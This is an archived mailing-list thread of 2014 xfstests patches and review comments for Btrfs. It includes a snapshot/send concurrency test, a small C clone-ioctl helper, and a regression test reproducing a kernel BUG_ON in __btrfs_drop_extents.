Wang Shilong X-ASG-Orig-Subj: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently In-Reply-To: <20140203234212.GW13997@dastard> Date: Thu, 6 Feb 2014 21:12:51 +0800 Cc: xfs@oss.sgi.com, jbacik@fb.com, linux-btrfs@vger.kernel.org Content-Transfer-Encoding: quoted-printable Message-Id: <9BC2AB41-F187-4A1A-89D6-743C72446293@gmail.com> References: <1391440956-31924-1-git-send-email-wangshilong1991@gmail.com> <20140203234212.GW13997@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1499) X-Barracuda-Connect: mail-pd0-f173.google.com[209.85.192.173] X-Barracuda-Start-Time: 1391692375 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144889 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, > On Mon, Feb 03, 2014 at 11:22:36PM +0800, Wang Shilong wrote: >> From: Wang Shilong >>=20 >> Btrfs would fail to send if snapshot run concurrently, this test is = to make >> sure we have fixed the bug. >>=20 > Couple of comments below. >=20 >> +_scratch_mkfs > /dev/null 2>&1 >> +_scratch_mount >> + >> + >> +touch $SCRATCH_MNT/foo >> + >> +# get file with fragments by using backwards writes. >> +for i in `seq 10240 -1 1`; do >> + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ >> + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io >=20 > Indentation. >=20 >> +done >> + >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 >> + >> +$BTRFS_UTIL_PROG send -f $SCRATCH_MNT/send_file \ >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 & >> + >> +pid=3D$! >> + >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ >> + $SCRATCH_MNT/snap_2 >> $seqres.full 2>&1 >> + >> +wait $pid || echo "Failed to send, see dmesg" >=20 > This seems kind of racy. It assumes that the send command > doesn't complete before the wait $pid call is made. If $pid doesn't > exist at this time because it has completed, wait will return 127 > and the test will fail=A1=AD. Sorry for delay reply! Maybe a better idea for this will be: Opposite to previous way, we do snapshots background while at the same time we do sending. And btrfs-progs should output meaningful information on send failure, i = will make a tiny patch to address this issue. but to make this test more = friendly, i think we can still do something like: btrfs send <..> || echo "Failed to send" What do you think of this way? Feel free to tell me if there are better = ideas^_^. Thanks, Wang > Also, why would a failure to send result in meaingful information in > dmesg? Shouldn't the userspace command output information to tell > you why there was a failure into $seqres.full? >=20 > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com From ddiss@suse.de Thu Feb 6 07:59:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A7DD47F54 for ; Thu, 6 Feb 2014 07:59:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8EC9C30407A for ; Thu, 6 Feb 2014 05:59:25 -0800 (PST) X-ASG-Debug-ID: 1391695162-04bdf012201864c0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id osY60BjayrbVGyNz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Feb 2014 05:59:23 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id A495DABD0; Thu, 6 Feb 2014 13:59:21 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v2 2/3] src/cloner: use btrfs/ioctl.h header if present Date: Thu, 6 Feb 2014 14:59:13 +0100 X-ASG-Orig-Subj: [PATCH v2 2/3] src/cloner: use btrfs/ioctl.h header if present Message-Id: <1391695154-2039-3-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391695154-2039-1-git-send-email-ddiss@suse.de> References: <1391695154-2039-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391695162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Check for the btrfsprogs-devel ioctl.h header at configure time. Use it in src/cloner if present, otherwise fall back to using the copied clone ioctl definitions. Signed-off-by: David Disseldorp --- configure.ac | 1 + src/cloner.c | 4 ++++ 2 files changed, 5 insertions(+) diff --git a/configure.ac b/configure.ac index bd48fd9..6fba3ad 100644 --- a/configure.ac +++ b/configure.ac @@ -30,6 +30,7 @@ AC_HEADER_STDC AC_CHECK_HEADERS([ sys/fs/xfs_fsops.h \ sys/fs/xfs_itable.h \ xfs/platform_defs.h \ + btrfs/ioctl.h \ ]) AC_PACKAGE_NEED_UUIDCOMPARE diff --git a/src/cloner.c b/src/cloner.c index dfce837..ccc2354 100644 --- a/src/cloner.c +++ b/src/cloner.c @@ -30,6 +30,9 @@ #include #include #include +#ifdef HAVE_BTRFS_IOCTL_H +#include +#else struct btrfs_ioctl_clone_range_args { int64_t src_fd; @@ -42,6 +45,7 @@ struct btrfs_ioctl_clone_range_args { #define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) #define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ struct btrfs_ioctl_clone_range_args) +#endif static void usage(char *name, const char *msg) -- 1.8.4.5 From ddiss@suse.de Thu Feb 6 07:59:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BE7A17F54 for ; Thu, 6 Feb 2014 07:59:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B5D078F8078 for ; Thu, 6 Feb 2014 05:59:26 -0800 (PST) X-ASG-Debug-ID: 1391695162-04cbb00c2816cec0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id QSoeWmy8si8MeG6x (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Feb 2014 05:59:22 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 957DBABB1; Thu, 6 Feb 2014 13:59:21 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: [PATCH v2 0/3] __btrfs_drop_extents() BUG_ON reproducer Date: Thu, 6 Feb 2014 14:59:11 +0100 X-ASG-Orig-Subj: [PATCH v2 0/3] __btrfs_drop_extents() BUG_ON reproducer Message-Id: <1391695154-2039-1-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391695162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This patch-set provides a reproducer for hitting the 3.14.0-rc1 BUG_ON() at: 692 int __btrfs_drop_extents(struct btrfs_trans_handle *trans, ... 839 /* 840 * | ---- range to drop ----- | 841 * | -------- extent -------- | 842 */ 843 if (start <= key.offset && end < extent_end) { 844 BUG_ON(extent_type == BTRFS_FILE_EXTENT_INLINE); 845 846 memcpy(&new_key, &key, sizeof(new_key)); The first patch adds a small cloner binary which is used by btrfs/035 to dispatch BTRFS_IOC_CLONE_RANGE requests. This workload resembles that of Samba's vfs_btrfs module, when a Windows client restores a file from a shadow-copy (snapshot) using server-side copy requests. Changes since V1: - Use strtoull instead of atoi - Print error conditions in cloner - Check for cloner binary before running test - Continue test on failure - Add cloner to .gitignore Feedback appreciated. Cheers, David .gitignore | 1 + configure.ac | 1 + src/Makefile | 2 +- src/cloner.c | 192 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 7 files changed, 276 insertions(+), 1 deletion(-) create mode 100644 src/cloner.c create mode 100755 tests/btrfs/035 create mode 100644 tests/btrfs/035.out From ddiss@suse.de Thu Feb 6 07:59:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4757E7F54 for ; Thu, 6 Feb 2014 07:59:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2FF418F8078 for ; Thu, 6 Feb 2014 05:59:27 -0800 (PST) X-ASG-Debug-ID: 1391695162-04cbb00c2a16ced0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id gGiCKkljFvU6eEL9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Feb 2014 05:59:22 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id A213CABCF; Thu, 6 Feb 2014 13:59:21 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v2 1/3] btrfs: add small program for clone testing Date: Thu, 6 Feb 2014 14:59:12 +0100 X-ASG-Orig-Subj: [PATCH v2 1/3] btrfs: add small program for clone testing Message-Id: <1391695154-2039-2-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391695154-2039-1-git-send-email-ddiss@suse.de> References: <1391695154-2039-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391695162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The cloner program is capable of cloning files using the BTRFS_IOC_CLONE and BTRFS_IOC_CLONE_RANGE ioctls. Signed-off-by: David Disseldorp --- .gitignore | 1 + src/Makefile | 2 +- src/cloner.c | 188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 190 insertions(+), 1 deletion(-) create mode 100644 src/cloner.c diff --git a/.gitignore b/.gitignore index ee4cb41..b6f2463 100644 --- a/.gitignore +++ b/.gitignore @@ -104,6 +104,7 @@ /src/aio-dio-regress/aio-free-ring-with-bogus-nr-pages /src/aio-dio-regress/aio-io-setup-with-nonwritable-context-pointer /src/aio-dio-regress/aiodio_sparse2 +/src/cloner # dmapi/ binaries /dmapi/src/common/cmd/read_invis diff --git a/src/Makefile b/src/Makefile index 84c8297..6509f2d 100644 --- a/src/Makefile +++ b/src/Makefile @@ -18,7 +18,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ locktest unwritten_mmap bulkstat_unlink_test t_stripealign \ bulkstat_unlink_test_modified t_dir_offset t_futimens t_immutable \ stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ - seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec + seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec cloner SUBDIRS = diff --git a/src/cloner.c b/src/cloner.c new file mode 100644 index 0000000..dfce837 --- /dev/null +++ b/src/cloner.c @@ -0,0 +1,188 @@ +/* + * Tiny program to perform file (range) clones using raw Btrfs ioctls. + * It should only be needed until btrfs-progs has an xfs_io equivalent. + * + * Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct btrfs_ioctl_clone_range_args { + int64_t src_fd; + uint64_t src_offset; + uint64_t src_length; + uint64_t dest_offset; +}; + +#define BTRFS_IOCTL_MAGIC 0x94 +#define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) +#define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ + struct btrfs_ioctl_clone_range_args) + +static void +usage(char *name, const char *msg) +{ + printf("Fatal: %s\n" + "Usage:\n" + "%s [options] \n" + "\tA full file clone (reflink) is performed by default, " + "unless any of the following are specified:\n" + "\t-s : source file offset (default = 0)\n" + "\t-d : destination file offset (default = 0)\n" + "\t-l : length of clone (default = 0)\n", + msg, name); + _exit(1); +} + +static int +clone_file(int src_fd, int dst_fd) +{ + int ret = ioctl(dst_fd, BTRFS_IOC_CLONE, src_fd); + if (ret != 0) + ret = errno; + return ret; +} + +static int +clone_file_range(int src_fd, int dst_fd, uint64_t src_off, uint64_t dst_off, + uint64_t len) +{ + struct btrfs_ioctl_clone_range_args cr_args; + int ret; + + memset(&cr_args, 0, sizeof(cr_args)); + cr_args.src_fd = src_fd; + cr_args.src_offset = src_off; + cr_args.src_length = len; + cr_args.dest_offset = dst_off; + ret = ioctl(dst_fd, BTRFS_IOC_CLONE_RANGE, &cr_args); + if (ret != 0) + ret = errno; + return ret; +} + +int +main(int argc, char **argv) +{ + bool full_file = true; + uint64_t src_off = 0; + uint64_t dst_off = 0; + uint64_t len = 0; + char *src_file; + int src_fd; + char *dst_file; + int dst_fd; + int ret; + int opt; + + while ((opt = getopt(argc, argv, "s:d:l:")) != -1) { + char *sval_end; + switch (opt) { + case 's': + errno = 0; + src_off = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid source offset"); + full_file = false; + break; + case 'd': + errno = 0; + dst_off = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid destination offset"); + full_file = false; + break; + case 'l': + errno = 0; + len = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid length"); + full_file = false; + break; + default: + usage(argv[0], "invalid argument"); + } + } + + /* should be exactly two args left */ + if (optind != argc - 2) + usage(argv[0], "src_file and dst_file arguments are madatory"); + + src_file = (char *)strdup(argv[optind++]); + if (src_file == NULL) { + ret = ENOMEM; + printf("no memory\n"); + goto err_out; + } + dst_file = (char *)strdup(argv[optind++]); + if (dst_file == NULL) { + ret = ENOMEM; + printf("no memory\n"); + goto err_src_free; + } + + src_fd = open(src_file, O_RDONLY); + if (src_fd == -1) { + ret = errno; + printf("failed to open %s: %s\n", src_file, strerror(errno)); + goto err_dst_free; + } + dst_fd = open(dst_file, O_CREAT | O_WRONLY, 0644); + if (dst_fd == -1) { + ret = errno; + printf("failed to open %s: %s\n", dst_file, strerror(errno)); + goto err_src_close; + } + + if (full_file) { + ret = clone_file(src_fd, dst_fd); + } else { + ret = clone_file_range(src_fd, dst_fd, src_off, dst_off, len); + } + if (ret != 0) { + printf("clone failed: %s\n", strerror(ret)); + goto err_dst_close; + } + + ret = 0; +err_dst_close: + if (close(dst_fd)) { + ret |= errno; + printf("failed to close dst file: %s\n", strerror(errno)); + } +err_src_close: + if (close(src_fd)) { + ret |= errno; + printf("failed to close src file: %s\n", strerror(errno)); + } +err_dst_free: + free(dst_file); +err_src_free: + free(src_file); +err_out: + return ret; +} -- 1.8.4.5 From ddiss@suse.de Thu Feb 6 07:59:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DC48B7F59 for ; Thu, 6 Feb 2014 07:59:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 539A9AC006 for ; Thu, 6 Feb 2014 05:59:27 -0800 (PST) X-ASG-Debug-ID: 1391695162-04cbb00c2b16ced0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id LC2vtGlKgHlmgqqC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Feb 2014 05:59:22 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id B16AFABD1; Thu, 6 Feb 2014 13:59:21 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test Date: Thu, 6 Feb 2014 14:59:14 +0100 X-ASG-Orig-Subj: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test Message-Id: <1391695154-2039-4-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391695154-2039-1-git-send-email-ddiss@suse.de> References: <1391695154-2039-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391695162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This test uses the newly added cloner binary to dispatch full file and range specific clone (reflink) requests. Signed-off-by: David Disseldorp --- tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 81 insertions(+) create mode 100755 tests/btrfs/035 create mode 100644 tests/btrfs/035.out diff --git a/tests/btrfs/035 b/tests/btrfs/035 new file mode 100755 index 0000000..49d9ece --- /dev/null +++ b/tests/btrfs/035 @@ -0,0 +1,77 @@ +#!/bin/bash +# FS QA Test No. btrfs/035 +# +# Regression test for overwriting clones +# +#----------------------------------------------------------------------- +# Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +CLONER_PROG=$here/src/cloner +[ -x $CLONER_PROG ] || _notrun "cloner binary not present at $CLONER_PROG" + +src_str="aaaaaaaaaa" + +echo -n "$src_str" > $SCRATCH_MNT/src || echo "failed to create src" + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone1 + +src_str="bbbbbbbbbbcccccccccc" + +echo -n "$src_str" > $SCRATCH_MNT/src || echo "failed to create src" + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone2 + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone1 | awk '{print $5}'` +echo "attempting ioctl (src.clone1 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone1 $SCRATCH_MNT/src + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone2 | awk '{print $5}'` +echo "attempting ioctl (src.clone2 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone2 $SCRATCH_MNT/src + +status=0 ; exit diff --git a/tests/btrfs/035.out b/tests/btrfs/035.out new file mode 100644 index 0000000..f86cadf --- /dev/null +++ b/tests/btrfs/035.out @@ -0,0 +1,3 @@ +QA output created by 035 +attempting ioctl (src.clone1 src) +attempting ioctl (src.clone2 src) diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..bee57cb 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +035 auto quick -- 1.8.4.5 From wangshilong1991@gmail.com Thu Feb 6 08:29:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6A6997F54 for ; Thu, 6 Feb 2014 08:29:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 609F4304039 for ; Thu, 6 Feb 2014 06:29:01 -0800 (PST) X-ASG-Debug-ID: 1391696939-04cb6c6de3176950001-NocioJ Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41]) by cuda.sgi.com with ESMTP id MkqGCxkeRkg5IKws (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 06:29:00 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.41 Received: by mail-pa0-f41.google.com with SMTP id fa1so1753618pad.0 for ; Thu, 06 Feb 2014 06:28:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=pRzfNS5ZoXgTdgYGXYEpGkUuDI1tATnl5/ZnAvm7ZzA=; b=z9YkPBLIt/cmVwb+/MLPF/8w6iECZAFYx2OO81UO0X2tUoGO4JoeBIAN+DHk+iCXg/ a9BNG+ue91TcMy08WRgPcjKELdRqCuU7TzLppv2GOCJHGMVPVkiTNRHk3tPF5Set1x5Y Elfg+nXnjaC2Kfw6RLouy9HF2+x3bjbcfEGnHfvRREKaU8fBMOY1Kt43j++scjAQtpah fznpaZTZEsWmnZfK2n5WiG5rrfdThQtO5hXjubu7B6wWe325Z2Vs+JSSgvA0xEvnGDQt 96JLhOJAHOrsyFoejDvKSdxXaVis0RfCE7Bg2Mxpph8X7QoGK9G7+FE4CreE1dd8wjBB vxHQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.191.131 with SMTP id gy3mr916990pac.152.1391696939822; Thu, 06 Feb 2014 06:28:59 -0800 (PST) Received: from linux-b0ol.site ([223.65.190.181]) by mx.google.com with ESMTPSA id iq10sm4056400pbc.14.2014.02.06.06.28.55 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 06 Feb 2014 06:28:59 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 223.65.190.181 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kerne.org, jbacik@fb.com, david@fromorbit.com Subject: [PATCH v2] Btrfs: add regression test for running snapshot and send concurrently Date: Thu, 6 Feb 2014 22:26:50 +0800 X-ASG-Orig-Subj: [PATCH v2] Btrfs: add regression test for running snapshot and send concurrently Message-Id: <1391696810-29957-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pa0-f41.google.com[209.85.220.41] X-Barracuda-Start-Time: 1391696940 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong Btrfs would fail to send if snapshot run concurrently, this test is to make sure we have fixed the bug. Signed-off-by: Wang Shilong --- Changelog v1->v2: Avoid race codes and a code style update(Thanks to Dave Chinner's comments) --- tests/btrfs/034 | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 86 insertions(+) create mode 100644 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100644 index 0000000..1fcd792 --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,83 @@ +#!/bin/bash +# FS QA Test No. btrfs/034 +# +# Regression test for running snapshots and send concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights 